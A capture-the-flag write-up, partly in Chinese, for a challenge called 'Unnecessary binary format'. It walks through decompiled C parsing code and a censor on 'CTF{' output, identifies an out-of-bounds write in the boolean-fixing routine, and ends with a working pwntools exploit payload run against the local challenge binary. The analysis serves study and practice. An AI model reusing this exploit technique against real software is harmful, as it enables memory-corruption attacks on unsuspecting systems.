Unnecessary binary format
(不必要的二进制格式)是指在计算机科学和软件工程中,存在着冗余或不必要的二进制数据表示形式。这种形式可能会导致资源浪费、性能下降或代码复杂化。
本题对不同类型的数据规定了不同的输入格式
char *__fastcall strs_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
char *s; // [rsp+10h] [rbp-30h]
char *sa; // [rsp+10h] [rbp-30h]
char *mem; // [rsp+28h] [rbp-18h]
int i; // [rsp+34h] [rbp-Ch]
char *content; // [rsp+38h] [rbp-8h]
s = &a2[snprintf(a2, a3 - a2, "str [")];
if ( s >= a3 )
return 0LL;
mem = a1->mem;
content = &mem[a1->offset];
for ( i = 0; i < a1->len; ++i )
{
censor_string(content, *&mem[2 * i]);
s += snprintf(s, a3 - s, "%s, ", content);
if ( s >= a3 )
return 0LL;
content += *&mem[2 * i] + 1;
}
if ( a1->len > 0 )
s -= 2;
sa = &s[snprintf(s, a3 - s, "]; ")];
if ( sa < a3 )
return sa;
else
return 0LL;
}
char *__fastcall bools_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
char v4; // al
char *s; // [rsp+10h] [rbp-30h]
char *sa; // [rsp+10h] [rbp-30h]
char *mem; // [rsp+30h] [rbp-10h]
int i; // [rsp+3Ch] [rbp-4h]
s = &a2[snprintf(a2, a3 - a2, "bool [")];
if ( s >= a3 )
return 0LL;
mem = a1->mem;
for ( i = 0; i < a1->len; ++i )
{
if ( mem[i] )
v4 = 'T';
else
v4 = 'F';
s += snprintf(s, a3 - s, "%c, ", v4);
if ( s >= a3 )
return 0LL;
}
if ( a1->len > 0 )
s -= 2;
sa = &s[snprintf(s, a3 - s, "]; ")];
if ( sa < a3 )
return sa;
else
return 0LL;
}
char *__fastcall ints_tostr(UNPACK *a1, char *a2, unsigned __int64 a3)
{
char *s; // [rsp+10h] [rbp-20h]
char *sa; // [rsp+10h] [rbp-20h]
char *mem; // [rsp+20h] [rbp-10h]
int i; // [rsp+2Ch] [rbp-4h]
s = &a2[snprintf(a2, a3 - a2, "int [")];
if ( s >= a3 )
return 0LL;
mem = a1->mem;
for ( i = 0; i < a1->len; ++i )
{
s += snprintf(s, a3 - s, "%d, ", *&mem[4 * i]);
if ( s >= a3 )
return 0LL;
}
if ( a1->len > 0 )
s -= 2;
sa = &s[snprintf(s, a3 - s, "]; ")];
if ( sa < a3 )
return sa;
else
return 0LL;
}
1.string
|4byte total_len | 1byte type s | 2byte count | 2bytes count*2 | 2byte data ..
2.bool
|4byte size| 1byte type b | 2byte count | 2byte start_idx | bools
3.int
|4byte size| 1byte type i | 2byte count | 2byte smt | ints...
题目开始会将/flag
载入全局变量,输入string
类型的$FLAG
即可将flag
载入并替换
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
if ( !set_env_from_file("FLAG", "/flag") || !set_env_from_file("MOTD", "/motd") || !set_env_from_file("TEAM", "/team") )
return -1;
...
}
__int64 __fastcall set_env_from_file(const char *a1, const char *a2)
{
char s[8]; // [rsp+10h] [rbp-210h] BYREF
__int64 v4; // [rsp+18h] [rbp-208h]
char v5[496]; // [rsp+20h] [rbp-200h] BYREF
int v6; // [rsp+214h] [rbp-Ch]
FILE *stream; // [rsp+218h] [rbp-8h]
stream = fopen(a2, "r");
*s = 0LL;
v4 = 0LL;
memset(v5, 0, sizeof(v5));
if ( stream && fgets(s, 512, stream) )
{
v6 = strlen(s) - 1;
if ( s[v6] == '\n' )
s[v6] = 0;
setenv(a1, s, 1);
return 1LL;
}
else
{
printf("Error reading %s\n", a2);
return 0LL;
}
}
按规定格式输入之后会进行一系列的解码,再输出相应的内容,但是检测到输出内容含有CTF{
会将后续内容替换成xxxx
,因此需要将这个头改成其他的绕过检测
void __fastcall censor_string(char *a1, int a2)
{
if ( a2 > 5 && *a1 == 'C' && a1[1] == 'T' && a1[2] == 'F' && a1[3] == '{' )
memset(a1 + 4, 'X', a2 - 5);
}
漏洞点在修复损坏的布尔类型的函数中存在数组越界
void __fastcall fix_corrupt_booleans(UNPACK *string)
{
unsigned __int64 v1; // [rsp+10h] [rbp-18h]
char *v2; // [rsp+18h] [rbp-10h]
int i; // [rsp+24h] [rbp-4h]
v2 = &string->mem[string->offset]; // vuln
v1 = &string->mem[string->size];
for ( i = 0; i < string->len && &v2[i] < v1; ++i )
v2[i] = v2[i] != 0;
}
exp:
from pwn import *
from base64 import *
#context.terminal = ['tmux','splitw','-h']
r = process("./ubf")
def dbg():
gdb.attach(r)
payload = p32(0x40) + b's' + p16(1) + p16(2) + p16(5) + b"$FLAG"
payload += p32(0x50) + b'b' + p16(2) + p16(-126&0xffff) + p16(0)
payload = b64encode(payload)
r.sendline(payload)
r.interactive()